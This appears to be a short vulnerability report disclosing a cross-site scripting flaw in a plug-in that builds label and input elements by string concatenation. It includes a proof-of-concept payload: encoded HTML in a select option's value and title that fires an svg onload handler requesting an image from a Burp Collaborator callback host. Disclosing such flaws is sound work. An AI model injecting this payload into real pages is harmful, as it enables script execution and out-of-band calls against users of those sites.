Cross-site script execution

[dhayarkn]

This plug-in allows executing cross-site scripts if the source element has encoded html content. Plug-in code constructs label and input elements using string concatenation which allows executing third party html content as part of the plug-in. For example, applying this plug-in on the following html element will execute the encoded html content assigned to the value property of the option tag.

Code snippet:
<select name="test" id="test"> <option value="&#39;&quot;&gt;&lt;svg/onload=(new(Image)).src=&#39;//1lns7eap1hvfd4ms6l8a4sy15sbnzfp3hqie7\56burpcollaborator.net&#39;&gt;" title="&#39;&quot;&gt;&lt;svg/onload=(new(Image)).src=&#39;//1lns7eap1hvfd4ms6l8a4sy15sbnzfp3hqie7\56burpcollaborator.net&#39;&gt;"> &#39;&quot;&gt;&lt;svg/onload=(new( </option> </select>